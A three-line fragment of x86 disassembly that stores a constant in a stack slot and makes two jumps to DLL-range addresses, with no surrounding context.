mov dword [ebp - 0x160], 0xbab324d
jmp 0x1000e9f1
jmp 0x10006700